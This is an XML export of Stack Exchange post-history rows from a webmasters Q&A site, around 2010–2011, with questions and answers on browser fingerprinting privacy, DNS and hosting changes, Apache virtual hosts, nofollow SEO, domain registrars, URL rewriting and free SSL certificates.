  <row Id="19103" PostHistoryTypeId="17" PostId="8789" RevisionGUID="24af0582-731e-4018-a60b-d0a0e97a8c30" CreationDate="2011-02-06T17:52:55.800" UserId="-1" Comment="from http://serverfault.com/questions/107825/browser-privacy-improvement-implications-for-websites/231236#231236" Text="" />
  <row Id="19104" PostHistoryTypeId="2" PostId="8789" RevisionGUID="77b0d227-4e63-4c1f-8fd1-4423b1d27f5f" CreationDate="2011-02-04T16:48:42.320" UserDisplayName="voretaq7" Text="I can't really answer the question of what information would be missed, though I will say from an analytics standpoint we do tend to care about the browser and OS our users are visiting with (to determine what HTML features we can get away with using).&#xD;&#xA;&#xD;&#xA;********&#xD;&#xA;&#xD;&#xA;Philosophically I can give you my view on the sitiation--&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What **CAN** be done falls in to two categories:  &#xD;&#xA;* **Maliciously** we can identify a user with some degree of certainty based on their browser signature, as Panopticlick demonstrates.  &#xD;&#xA;* **Benignly** we can tailor a site's experience based on the information provided (&quot;leaked&quot;) by the browser.&#xD;&#xA;&#xD;&#xA;What **SHOULD** be done?  Probably the benign thing above, offering customized site experiences based on the technology available to the user.&#xD;&#xA;&#xD;&#xA;What **IS** done? Typically site designers just throw a single site experience out there, which requires some set of plugins.  If you don't have those plugins you get the &quot;broken/missing plugin&quot; box and/or a prompt from your browser/OS to install the appropriate plugin.  Lousy user experience, but easier for the designers :)&#xD;&#xA;" />
  <row Id="19105" PostHistoryTypeId="2" PostId="8788" RevisionGUID="8775cb65-86b7-4c79-a575-724869ddde97" CreationDate="2010-01-30T09:41:39.430" UserId="196" Text="On https://panopticlick.eff.org/ EFF let you test the number of uniquely identifying bits that the browser gives a website. Among these are HTTP header fields such as User-Agent, Accept, Accept-Language and later perhaps ETAG and If-Modified-Since. Also there is a lot of Information that javascript can get from the browser such as time-zone, screen resolution, complete list of fonts and plugins available.&#xD;&#xA;&#xD;&#xA;My first impression is, is all this information really usable/used on a majority of all websites?&#xD;&#xA;For example, how many sites does really send different content-types depending on the http accept header, or what fonts are available(I thought css had taken care of this)?&#xD;&#xA;&#xD;&#xA;Let's say of these headers/js functionality on day would be gone.  &#xD;&#xA;Which ones would;&#xD;&#xA;&#xD;&#xA; - never be noticed they were gone?&#xD;&#xA; - impact user experience?&#xD;&#xA; - impact server performance?&#xD;&#xA; - immediately reimplemented because the Internet cannot work without it?&#xD;&#xA;&#xD;&#xA;Extra credit for differentiating between what can be done, what should be done and what is done in most situations." />
  <row Id="19106" PostHistoryTypeId="1" PostId="8788" RevisionGUID="8775cb65-86b7-4c79-a575-724869ddde97" CreationDate="2010-01-30T09:41:39.430" UserId="196" Text="Browser privacy improvement implications for websites" />
  <row Id="19107" PostHistoryTypeId="3" PostId="8788" RevisionGUID="8775cb65-86b7-4c79-a575-724869ddde97" CreationDate="2010-01-30T09:41:39.430" UserId="196" Text="&lt;http&gt;&lt;javascript&gt;&lt;http-headers&gt;&lt;privacy&gt;" />
  <row Id="19108" PostHistoryTypeId="17" PostId="8788" RevisionGUID="f72f8371-12a4-4f00-8f8b-54837d9546a9" CreationDate="2011-02-06T17:52:55.800" UserId="-1" Comment="from http://serverfault.com/questions/107825/browser-privacy-improvement-implications-for-websites" Text="" />
  <row Id="19112" PostHistoryTypeId="10" PostId="8786" RevisionGUID="810d0d54-0722-45a3-9b79-24c603c4e3a5" CreationDate="2011-02-06T18:31:39.840" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19113" PostHistoryTypeId="5" PostId="8786" RevisionGUID="ed5eddf1-f99f-438d-8371-118ddb9af5fb" CreationDate="2011-02-06T18:31:39.933" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [StackOverflow and Google search](http://webmasters.stackexchange.com/questions/7299/stackoverflow-and-google-search)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have noticed while asking questions on Stack Overflow that they appear in Google almost instantly.&#xD;&#xA;&#xD;&#xA;How does SO do this?&#xD;&#xA;&#xD;&#xA;Is it a feed or an auto-updated site map?" />
  <row Id="19114" PostHistoryTypeId="2" PostId="8790" RevisionGUID="11ad521e-b900-46f6-93ff-ec3e84c80d5a" CreationDate="2011-02-06T18:40:45.883" UserId="1757" Text="What do you mean by usable? Do you mean which ones have legitimate uses or which ones are usable to those interested in tracking or gaining more information about users? If it's the latter then I believe the idea is that it's by taking all of these data points together that a unique &quot;fingerprint&quot; can be created for each browser.&#xD;&#xA;&#xD;&#xA;If you're asking about which features have legitimate uses, then I'd say almost all of them. The HTTP accepted/preferred content-type headers are useful for a variety of applications which can't be substituted for using CSS. Namely it provides a standard method for content negotiation. (Different user-agents prefer/support different content types or languages.)&#xD;&#xA;&#xD;&#xA;Things like browser plugin availability, screen resolution, and local data storage have obvious uses. Without these features a lot of the web apps you use wouldn't function or wouldn't be as useful as they are.&#xD;&#xA;&#xD;&#xA;What fonts are available is gotten through Flash, and that's about the only feature that has a very limited use for general web apps. However, even that has its uses. For instance, it has enabled some very useful font-related flash apps to be developed (e.g. font identification/suggestion tools)." />
  <row Id="19115" PostHistoryTypeId="2" PostId="8791" RevisionGUID="2faa973a-ce1c-4b98-9603-4da7369c1bcc" CreationDate="2011-02-06T18:40:48.363" UserDisplayName="Sathyam Shivam Sundaram" Text="I have a standard ( Free ) Google app Email Service , From  last 5  Months we are using this &#xD;&#xA;service. Our webiste was hosted on the Third Party Web Hosting Company. Nut Now  iam planning to change my Web Hositing provider , but i want to keep my domian in the previous Hosting Company.  Can Google App Allow this option of changing  web hoster for the registred Domain &#xD;&#xA;in the Google App for Email Service.&#xD;&#xA;&#xD;&#xA;Is there any body  done this ? " />
  <row Id="19116" PostHistoryTypeId="1" PostId="8791" RevisionGUID="2faa973a-ce1c-4b98-9603-4da7369c1bcc" CreationDate="2011-02-06T18:40:48.363" UserDisplayName="Sathyam Shivam Sundaram" Text="want to change host account for google app email ? " />
  <row Id="19117" PostHistoryTypeId="3" PostId="8791" RevisionGUID="2faa973a-ce1c-4b98-9603-4da7369c1bcc" CreationDate="2011-02-06T18:40:48.363" UserDisplayName="Sathyam Shivam Sundaram" Text="&lt;email&gt;&lt;google-api&gt;" />
  <row Id="19118" PostHistoryTypeId="17" PostId="8791" RevisionGUID="f73a7ba2-6070-4e1e-940d-d732f985288d" CreationDate="2011-02-06T19:06:27.847" UserId="-1" Comment="from http://stackoverflow.com/questions/4915294/want-to-change-host-account-for-google-app-email" Text="" />
  <row Id="19119" PostHistoryTypeId="2" PostId="8792" RevisionGUID="5342b8df-3ac9-4fbf-968b-59743c2ff76c" CreationDate="2011-02-06T19:41:39.200" UserId="3514" Text="It's all in the dns records.&#xD;&#xA;&#xD;&#xA;**If you're changing your domain provider:**&lt;br /&gt;&#xD;&#xA;Just copy all your mx records for mail from the old domain to the new domain (write down what they are before you transfer, and add them into the new domain after the transfer), also copy the cname record for your google verification, and any other cnames relating to your google apps (they're all pointing to ghs.google.com)&#xD;&#xA;&#xD;&#xA;**If You're changing only your host:**&lt;br /&gt;&#xD;&#xA;Keeping a domain with one provider and not another is fine, you won't need to change anything other than the ns records and an a record relating to where the domain points, this won't mess with google apps at all." />
  <row Id="19120" PostHistoryTypeId="25" PostId="8791" RevisionGUID="e05ab64a-2db1-4093-8971-cad86f73b9af" CreationDate="2011-02-06T20:16:40.120" Comment="http://twitter.com/#!/StackWebmasters/status/34344745455058946" />
  <row Id="19129" PostHistoryTypeId="2" PostId="8795" RevisionGUID="6e8f6484-b9ec-4bae-85b7-7677296f95f3" CreationDate="2011-02-06T22:13:48.847" UserId="5211" Text="You don't need any rewrite rules. Just add a [VirtualHost][1] section, like&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost IPAddress&gt;&#xD;&#xA;        ServerName sub.mydomain.com&#xD;&#xA;        DocumentRoot /path/to/public_html/sub&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.2/mod/core.html#virtualhost" />
  <row Id="19132" PostHistoryTypeId="2" PostId="8796" RevisionGUID="fdca14f0-f347-4b05-8786-2906f788f2c4" CreationDate="2011-02-06T19:40:56.813" UserId="1419" Text="May be a silly question, but I'll give it a shot :).&#xD;&#xA;&#xD;&#xA;On my forum app I would like to allow users with sufficiently high reputation display links to their home pages under every post - without the nofollow attribute (while lower rep users will have the nofollow)&#xD;&#xA;&#xD;&#xA;I am happy to help the site contributors improve rankings of their own, but not sure if this can actually deteriorate the rank of the host - as potentially the same link may be peppered around in many copies throughout.&#xD;&#xA;&#xD;&#xA;What do you think? Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19133" PostHistoryTypeId="1" PostId="8796" RevisionGUID="fdca14f0-f347-4b05-8786-2906f788f2c4" CreationDate="2011-02-06T19:40:56.813" UserId="1419" Text="Will many links to the same page without nofollow penalize the host site in the search engine rankings?" />
  <row Id="19134" PostHistoryTypeId="3" PostId="8796" RevisionGUID="fdca14f0-f347-4b05-8786-2906f788f2c4" CreationDate="2011-02-06T19:40:56.813" UserId="1419" Text="&lt;google&gt;&lt;seo&gt;" />
  <row Id="19135" PostHistoryTypeId="17" PostId="8796" RevisionGUID="81d320f4-40cd-4228-b8af-6cf6b3cc405b" CreationDate="2011-02-06T22:29:48.790" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/12059/will-many-links-to-the-same-page-without-nofollow-penalize-the-host-site-in-the-s" Text="" />
  <row Id="19137" PostHistoryTypeId="5" PostId="8796" RevisionGUID="5c4f7cf4-b557-4da3-8894-04ef7f462bd5" CreationDate="2011-02-06T23:16:06.410" UserId="1419" Comment="added 50 characters in body; edited tags" Text="May be a silly question, but I'll give it a shot :).&#xD;&#xA;&#xD;&#xA;On my forum app I would like to allow users with sufficiently high reputation display links to their home pages under every post - without the nofollow attribute (while lower rep users will have the nofollow)&#xD;&#xA;&#xD;&#xA;I am happy to help the site contributors improve rankings of their own, but not sure if this can actually deteriorate the rank of the host (the site that hosts those links) - as potentially the same link to the user's home page may be peppered in the pages of the host.&#xD;&#xA;&#xD;&#xA;What do you think? Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19138" PostHistoryTypeId="6" PostId="8796" RevisionGUID="5c4f7cf4-b557-4da3-8894-04ef7f462bd5" CreationDate="2011-02-06T23:16:06.410" UserId="1419" Comment="added 50 characters in body; edited tags" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="19139" PostHistoryTypeId="25" PostId="8782" RevisionGUID="9ab7bc02-bc61-433d-a79b-fee8413b0dd6" CreationDate="2011-02-06T23:16:39.653" Comment="http://twitter.com/#!/StackWebmasters/status/34390042155679744" />
  <row Id="19140" PostHistoryTypeId="2" PostId="8798" RevisionGUID="ee9a591b-39e1-4e13-973b-a58527675c78" CreationDate="2011-02-06T23:25:48.313" UserDisplayName="Neil" Text="Does anyone know of a hosted version of Yahoo! Answers (or Stackoverflow/Superuser) that I could integrate with my site? I know that there are some open-source implementations (see http://meta.stackoverflow.com/questions/2267/stack-overflow-clones?page=1&amp;tab=votes#tab-top) but I'd rather have some hosted if possible. &#xD;&#xA;&#xD;&#xA;I know there is http://stackexchange.com/ as well, but I really want some tight integration with the rest of my site.&#xD;&#xA;&#xD;&#xA;Failing that, has anyone got any experience with the open source versions? Some of them look a little, erm, unfinished...&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;Neil." />
  <row Id="19141" PostHistoryTypeId="1" PostId="8798" RevisionGUID="ee9a591b-39e1-4e13-973b-a58527675c78" CreationDate="2011-02-06T23:25:48.313" UserDisplayName="Neil" Text="Hosted version of Yahoo! answers" />
  <row Id="19142" PostHistoryTypeId="3" PostId="8798" RevisionGUID="ee9a591b-39e1-4e13-973b-a58527675c78" CreationDate="2011-02-06T23:25:48.313" UserDisplayName="Neil" Text="&lt;web-hosting&gt;&lt;software&gt;" />
  <row Id="19143" PostHistoryTypeId="17" PostId="8798" RevisionGUID="d1a5bc71-1de2-4018-8dca-f57b7fce0cf5" CreationDate="2011-02-06T23:29:39.610" UserId="-1" Comment="from http://superuser.com/questions/242487/hosted-version-of-yahoo-answers" Text="" />
  <row Id="19144" PostHistoryTypeId="2" PostId="8799" RevisionGUID="37ca44bf-3418-4b0e-adb8-0721bbda1c60" CreationDate="2011-02-07T00:07:31.747" UserId="1419" Text="Well, you might still pick one of the open source solutions and keep upgrading your Q&amp;A site as it is becoming better. &#xD;&#xA;&#xD;&#xA;If you need more info about askbot - that's the one I am developing - just drop by at the site and ask or email admin@askbot.org.&#xD;&#xA;&#xD;&#xA;With askbot upgrades are normally painless and the product is stable. There are more test cases than in any other similar product I know of, no known critical bugs and the development is steady. &#xD;&#xA;&#xD;&#xA;Of course there are other open source solutions available and you know where to find them...&#xD;&#xA;&#xD;&#xA;Also I want to add that I am gathering support team right now and I might be able to match your needs with the developers who can execute them and at the same time contribute to the main project." />
  <row Id="19145" PostHistoryTypeId="2" PostId="8800" RevisionGUID="a39cf739-7ced-4532-99f1-191472c0b214" CreationDate="2011-02-07T00:28:11.210" UserDisplayName="user5213" Text="Try using SearchBlox, it is meant for site search and it is free to use." />
  <row Id="19146" PostHistoryTypeId="5" PostId="8799" RevisionGUID="edc1e5ee-553c-46d9-bf51-c2ce382b663c" CreationDate="2011-02-07T00:29:31.933" UserId="1419" Comment="deleted 1 characters in body" Text="Well, you might still pick one of the open source solutions and keep upgrading your Q&amp;A site as the software matures. &#xD;&#xA;&#xD;&#xA;If you need more info about askbot - that's the one I am developing - just drop by at the site and ask or email admin@askbot.org.&#xD;&#xA;&#xD;&#xA;With askbot upgrades are normally painless and the product is stable. There are more test cases than in any other similar product I know of, no known critical bugs and the development is steady. &#xD;&#xA;&#xD;&#xA;Of course there are other open source solutions available and you know where to find them...&#xD;&#xA;&#xD;&#xA;Also I want to add that I am gathering support team right now and I might be able to match your needs with the developers who can execute them and at the same time contribute to the main project." />
  <row Id="19147" PostHistoryTypeId="2" PostId="8801" RevisionGUID="e5c9c2ff-cca1-4acf-a38c-32dbc5d605c1" CreationDate="2011-02-07T00:31:37.480" UserDisplayName="user5213" Text="SearchBlox which is based on Lucene may be able to meet your needs. It is free and comes with a crawler. " />
  <row Id="19148" PostHistoryTypeId="2" PostId="8802" RevisionGUID="ea3a46ba-e0b6-4748-b45a-dbc3f4bbb6da" CreationDate="2011-02-07T00:35:14.320" UserDisplayName="user5213" Text="SearchBlox is another option to check out. There is a comparison between Google Mini and SearchBlox http://www.searchblox.com/comparison-of-searchblox-vs-google-mini" />
  <row Id="19149" PostHistoryTypeId="2" PostId="8803" RevisionGUID="b3085472-5817-410d-8375-76e8c09ad947" CreationDate="2011-02-07T00:49:17.127" UserId="4461" Text="You don't *leak* rank when you link out to another site.&#xD;&#xA;&#xD;&#xA;The [rel=&quot;nofollow&quot; link attribute][1] was designed to ensure that you had some control over linking to sites/pages you couldn't vouch for, clearly in this scenario, you are vouching for the validity/relevance of that site/page.&#xD;&#xA;&#xD;&#xA;The only &quot;impact&quot; you might experience is by the calculation of PageRank (PR) that is distributed - but if you're [worrying about PageRank][2], then you're worrying about the wrong things...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=96569&#xD;&#xA;  [2]: http://www.smashingmagazine.com/2007/06/05/google-pagerank-what-do-we-really-know-about-it/" />
  <row Id="19150" PostHistoryTypeId="25" PostId="8798" RevisionGUID="e5607aeb-5445-4687-b671-b15fb379d2ec" CreationDate="2011-02-07T02:16:40.107" Comment="http://twitter.com/#!/StackWebmasters/status/34435341351915520" />
  <row Id="19151" PostHistoryTypeId="17" PostId="8805" RevisionGUID="056d8b66-0d8f-48a7-8517-757cbd33661f" CreationDate="2011-02-07T02:26:14.093" UserId="-1" Comment="from http://serverfault.com/questions/231978/where-is-the-best-place-to-buy-domain-names-and-how-much-should-i-pay/231980#231980" Text="" />
  <row Id="19152" PostHistoryTypeId="17" PostId="8806" RevisionGUID="606208c4-f93f-40df-a275-e6be5a3c82cb" CreationDate="2011-02-07T02:26:14.093" UserId="-1" Comment="from http://serverfault.com/questions/231978/where-is-the-best-place-to-buy-domain-names-and-how-much-should-i-pay/231981#231981" Text="" />
  <row Id="19153" PostHistoryTypeId="2" PostId="8805" RevisionGUID="9732b4ee-4917-4272-a15d-2db4043287c0" CreationDate="2011-02-07T01:54:19.353" UserDisplayName="Nic" Text="For .com, .net, and .org domains:&#xD;&#xA;&#xD;&#xA;* [Namecheap](http://www.namecheap.com/)" />
  <row Id="19154" PostHistoryTypeId="2" PostId="8806" RevisionGUID="4301e7e9-eb0a-44bd-b925-f994ea538511" CreationDate="2011-02-07T01:55:26.700" UserDisplayName="SLY" Text="It depends on what top-level domain you are purchasing. &#xD;&#xA;&#xD;&#xA;For .com, 8-10 dollars is a reasonable price for a year. &#xD;&#xA;&#xD;&#xA;You want to look for a place that will let you easily change your DNS records. &#xD;&#xA;&#xD;&#xA;I have personally used Namecheap. &#xD;&#xA;&#xD;&#xA;In an effort to avoid a flame war, I would like to cite a [lifehacker article][1] which listed the five best domain registrars according to its readers. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1. [Namecheap][2]&#xD;&#xA;2. [1&amp;1][3]&#xD;&#xA;3. [GoDaddy][4]&#xD;&#xA;4. [Name.com][5]&#xD;&#xA;5. [Gandi][6]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lifehacker.com/5683682/five-best-domain-name-registrars&#xD;&#xA;  [2]: http://www.namecheap.com/&#xD;&#xA;  [3]: http://order.1and1.com/&#xD;&#xA;  [4]: http://www.godaddy.com/&#xD;&#xA;  [5]: http://www.name.com/&#xD;&#xA;  [6]: http://www.gandi.net/" />
  <row Id="19155" PostHistoryTypeId="2" PostId="8804" RevisionGUID="f9b93fe1-9d98-40bf-83d7-ff5afbc5cbf5" CreationDate="2011-02-07T01:40:25.333" UserId="1228" Text="I want to buy a domain name.  I plan to set up my own A, NS, and MX records using Slicehost.   So I guess I just need the cheapest place, right?&#xD;&#xA;&#xD;&#xA;How much I should be paying for .com or .org?" />
  <row Id="19156" PostHistoryTypeId="1" PostId="8804" RevisionGUID="f9b93fe1-9d98-40bf-83d7-ff5afbc5cbf5" CreationDate="2011-02-07T01:40:25.333" UserId="1228" Text="Where is the best place to buy domain names and how much should I pay?" />
  <row Id="19157" PostHistoryTypeId="3" PostId="8804" RevisionGUID="f9b93fe1-9d98-40bf-83d7-ff5afbc5cbf5" CreationDate="2011-02-07T01:40:25.333" UserId="1228" Text="&lt;domain-names&gt;" />
  <row Id="19158" PostHistoryTypeId="17" PostId="8804" RevisionGUID="a14890da-4db3-45e2-aa11-81019ee947b8" CreationDate="2011-02-07T02:26:14.093" UserId="-1" Comment="from http://serverfault.com/questions/231978/where-is-the-best-place-to-buy-domain-names-and-how-much-should-i-pay" Text="" />
  <row Id="19159" PostHistoryTypeId="10" PostId="8804" RevisionGUID="9e6823ee-218f-4af4-93de-1264b12300d4" CreationDate="2011-02-07T02:34:24.147" UserId="138" CloseReasonId="1" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="19160" PostHistoryTypeId="5" PostId="8804" RevisionGUID="6e0d10d9-632e-4689-95c9-3f63ab8e24f4" CreationDate="2011-02-07T02:34:24.257" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [New Domain Registration - Price differences](http://webmasters.stackexchange.com/questions/7424/new-domain-registration-price-differences)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I want to buy a domain name.  I plan to set up my own A, NS, and MX records using Slicehost.   So I guess I just need the cheapest place, right?&#xD;&#xA;&#xD;&#xA;How much I should be paying for .com or .org?" />
  <row Id="19161" PostHistoryTypeId="2" PostId="8807" RevisionGUID="f804641d-17f6-4a45-86ab-25ff3d438c9f" CreationDate="2011-02-07T03:52:39.823" UserId="5216" Text="we were running q2a for a bit, though we're currently working on an in house clone of it, since we have a few unusual needs and had to do a fair number of new features anyway.&#xD;&#xA;&#xD;&#xA;However, our experience with it was positive for the most part - the developer is fairly active, and it was fairly problem free for running a small Q&amp;A site." />
  <row Id="19162" PostHistoryTypeId="2" PostId="8808" RevisionGUID="8f011203-06e8-41ad-9ecb-6f98a854e80d" CreationDate="2011-02-07T04:29:20.150" UserId="1443" Text="I understand that dynamic URL would be of the form page=123, while static would be with the post name in it.&#xD;&#xA;&#xD;&#xA;SO has http://stackoverflow.com/questions/[ID]/[title] format.&#xD;&#xA;&#xD;&#xA;Since the [title] is actually optional and has no affect on the page actually loaded, would you say this is a dynamic URL?&#xD;&#xA;&#xD;&#xA;And if so, what is the implication or benefit of the &quot;static&quot; [title] part? does it help SEO?&#xD;&#xA;" />
  <row Id="19163" PostHistoryTypeId="1" PostId="8808" RevisionGUID="8f011203-06e8-41ad-9ecb-6f98a854e80d" CreationDate="2011-02-07T04:29:20.150" UserId="1443" Text="IS SO URL static or Dynamic?" />
  <row Id="19164" PostHistoryTypeId="3" PostId="8808" RevisionGUID="8f011203-06e8-41ad-9ecb-6f98a854e80d" CreationDate="2011-02-07T04:29:20.150" UserId="1443" Text="&lt;url&gt;" />
  <row Id="19165" PostHistoryTypeId="2" PostId="8809" RevisionGUID="2f0a5755-b175-4aff-a365-f43fe3a33a1f" CreationDate="2011-02-07T04:33:48.360" UserId="5077" Text="Yes, I do believe Stackoverflow/Stackexchange sites use dynamic url's and some sort of rewriting of the url's.&#xD;&#xA;&#xD;&#xA;As for the title attribute, I also believe that's there for more of an SEO standpoint so that search engines can read the URL and display to the users quicker." />
  <row Id="19166" PostHistoryTypeId="25" PostId="8804" RevisionGUID="167d1681-9129-4ef2-9d23-ebd6a2de454f" CreationDate="2011-02-07T05:16:40.030" Comment="http://twitter.com/#!/StackWebmasters/status/34480640527175680" />
  <row Id="19167" PostHistoryTypeId="2" PostId="8810" RevisionGUID="e163cb6f-9c63-4d2b-b8ca-6ec23ba49b37" CreationDate="2011-02-07T06:24:36.870" UserId="4322" Text="I think the meaning of static/dynamic has changed over the years.&#xD;&#xA;&#xD;&#xA;When talking about how the page gets served, a dynamic page is one that gets constructed on the fly, say from a database.&#xD;&#xA;&#xD;&#xA;Originally these were identifiable by the use of query string parameters like your example page=123. The parameters gave the information so a single page could provide different data, depending on the values passed. So these URLs were called dynamic.&#xD;&#xA;&#xD;&#xA;Another indicator of a dynamic page was that the file extension indicated the language used to generate the page. e.g. index**.php**&#xD;&#xA;&#xD;&#xA;static pages are normally an html file that contains the pages content, pre-built, hence static. &#xD;&#xA;&#xD;&#xA;However, it has been common practice to hide these raw URLs so that it it not obvious if the page was dynamically or statically created. The method is often referred to as rewriting the URL.&#xD;&#xA;&#xD;&#xA;This is done so that a website can present a nicer, keyword rich URL for the search engines. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  " />
  <row Id="19168" PostHistoryTypeId="2" PostId="8811" RevisionGUID="f48f8095-f1a5-460b-a485-2600e70ba5ac" CreationDate="2011-02-07T07:28:08.387" UserId="3312" Text="I'm wondering what online advertising programs there are out there where the site owner can chose which relevant ads to put on particular pages from a large selection of possible ads.  Is there such a thing? (As opposed to adsense style 'auto-relevance' which often produces poor results)" />
  <row Id="19169" PostHistoryTypeId="1" PostId="8811" RevisionGUID="f48f8095-f1a5-460b-a485-2600e70ba5ac" CreationDate="2011-02-07T07:28:08.387" UserId="3312" Text="Online advertising program where publishers (site owners) can choose ads" />
  <row Id="19170" PostHistoryTypeId="3" PostId="8811" RevisionGUID="f48f8095-f1a5-460b-a485-2600e70ba5ac" CreationDate="2011-02-07T07:28:08.387" UserId="3312" Text="&lt;advertising&gt;&lt;google-adsense&gt;" />
  <row Id="19171" PostHistoryTypeId="17" PostId="8813" RevisionGUID="f993e1c5-53d8-46b3-9c03-aec0a419e7cd" CreationDate="2011-02-07T07:45:59.213" UserId="-1" Comment="from http://stackoverflow.com/questions/4918486/is-there-a-free-way-to-ssl-certify-my-local-website/4918508#4918508" Text="" />
  <row Id="19172" PostHistoryTypeId="17" PostId="8814" RevisionGUID="e34a8ab6-7eb6-445e-b1dc-702ab4dfe930" CreationDate="2011-02-07T07:45:59.213" UserId="-1" Comment="from http://stackoverflow.com/questions/4918486/is-there-a-free-way-to-ssl-certify-my-local-website/4918564#4918564" Text="" />
  <row Id="19173" PostHistoryTypeId="17" PostId="8815" RevisionGUID="f68f12f7-5bb7-4984-af78-432a6b54dbdd" CreationDate="2011-02-07T07:45:59.213" UserId="-1" Comment="from http://stackoverflow.com/questions/4918486/is-there-a-free-way-to-ssl-certify-my-local-website/4918567#4918567" Text="" />
  <row Id="19174" PostHistoryTypeId="2" PostId="8813" RevisionGUID="f84835ec-8473-4d11-8ca9-d985537ed514" CreationDate="2011-02-07T06:10:21.360" UserDisplayName="McAden" Text="The best I found for free was from instantssl.com: [Free for 90 days][1]&#xD;&#xA;&#xD;&#xA;What I used most recently though was a godaddy ssl (even though I dislike godaddy) with a promo code I found on retailmenot that allowed me to get a 1 year SSL for 12 bucks.&#xD;&#xA;  [1]: http://www.instantssl.com/ssl-certificate-products/free-ssl-certificate.html" />
  <row Id="19175" PostHistoryTypeId="2" PostId="8814" RevisionGUID="0b6392e6-30b1-4437-a4fb-9e21fef8b6eb" CreationDate="2011-02-07T06:18:44.150" UserDisplayName="Merlyn Morgan-Graham" Text="&gt;I'm basically trying to setup my local website with ssl.&#xD;&#xA;&#xD;&#xA;How &quot;local&quot; is it?&#xD;&#xA;&#xD;&#xA;You can make as many custom certificates as you want for free, without having to use any service.   To do this, you would only have to install new trusted root certificates on client computers.  If you're talking about a local intranet with only a handful of users, or a home/personal use website, this might be a good option.&#xD;&#xA;&#xD;&#xA;Google will help you find instructions on how to generate and add a new trusted root certificate, and generate derived certificates.  Here's a link I found for Windows stacks:  &#xD;&#xA;http://msdn.microsoft.com/en-us/library/ff648498.aspx&#xD;&#xA;" />
  <row Id="19176" PostHistoryTypeId="2" PostId="8815" RevisionGUID="3dc71835-c7f5-43dc-95b8-f4c49ac6b248" CreationDate="2011-02-07T06:19:12.230" UserId="5127" Text="1. [StartCom][1] issues free signed SSL certificates.&#xD;&#xA;&#xD;&#xA;2. You can [create and sign your own certificates][2] from any computer with openssl.&#xD;&#xA;&#xD;&#xA;3. This is not a programming question and doesn't belong on StackOverflow.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cert.startcom.org/&#xD;&#xA;  [2]: http://www.akadia.com/services/ssh_test_certificate.html" />
  <row Id="19177" PostHistoryTypeId="2" PostId="8812" RevisionGUID="ba68d0a7-bfec-4a06-8ad4-b2b429ffae97" CreationDate="2011-02-07T06:06:14.307" UserDisplayName="dave" Text="I'm basically trying to setup my local website with ssl. All I need to do is certify it, but couldn't find a free way to do it.  Most websites, like godaddy for instance,  charge to certify your website.  Anyway i can do this for free?" />
  <row Id="19178" PostHistoryTypeId="1" PostId="8812" RevisionGUID="ba68d0a7-bfec-4a06-8ad4-b2b429ffae97" CreationDate="2011-02-07T06:06:14.307" UserDisplayName="dave" Text="Is there a free way to ssl certify my local website?" />
  <row Id="19179" PostHistoryTypeId="3" PostId="8812" RevisionGUID="ba68d0a7-bfec-4a06-8ad4-b2b429ffae97" CreationDate="2011-02-07T06:06:14.307" UserDisplayName="dave" Text="&lt;apache&gt;&lt;ssl&gt;&lt;openssl&gt;&lt;xampp&gt;" />
  <row Id="19180" PostHistoryTypeId="17" PostId="8812" RevisionGUID="f7ece510-d1f9-4d13-9928-0d612bd5c05c" CreationDate="2011-02-07T07:45:59.213" UserId="-1" Comment="from http://stackoverflow.com/questions/4918486/is-there-a-free-way-to-ssl-certify-my-local-website" Text="" />
  <row Id="19181" PostHistoryTypeId="25" PostId="8808" RevisionGUID="76057e5a-c8e0-4a06-968a-ac62152f9bce" CreationDate="2011-02-07T08:16:39.563" Comment="http://twitter.com/#!/StackWebmasters/status/34525937148104704" />
  <row Id="19182" PostHistoryTypeId="4" PostId="8811" RevisionGUID="add327d3-2c4c-44e8-a46e-c6f77be43455" CreationDate="2011-02-07T08:24:44.063" UserId="3312" Comment="edited title" Text="Online advertising program where publishers (site owners) can choose ads?" />
  <row Id="19183" PostHistoryTypeId="2" PostId="8816" RevisionGUID="077c0cdd-e42d-480f-a946-f1bb674031b9" CreationDate="2011-02-07T09:04:14.720" UserId="5219" Text="I have an idea of developing internet payment gateway similar to PayPal or Webmoney. Since i'm only sophomore at Computer Science, and i've only taken intermediate programming classes, i've no idea where to search for general information about this topic. I do understand that this kind of project is CLEARLY too much to handle for sophomore. &#xD;&#xA;Since, it's forum for Pro Webmasters, and probably some of you can point direction of study.&#xD;&#xA;&#xD;&#xA; 1. What book/source/article would you suggest to read to understand fundamentals of internet payment?&#xD;&#xA; 2. What book/source/article would you suggest to read to understand fundamentals internet security?&#xD;&#xA; 3. What language is most commonly used for developing payment security of website?&#xD;&#xA;&#xD;&#xA;I appreciate any help. &#xD;&#xA;Thank you. " />
  <row Id="19184" PostHistoryTypeId="1" PostId="8816" RevisionGUID="077c0cdd-e42d-480f-a946-f1bb674031b9" CreationDate="2011-02-07T09:04:14.720" UserId="5219" Text="Developing payment gateway." />
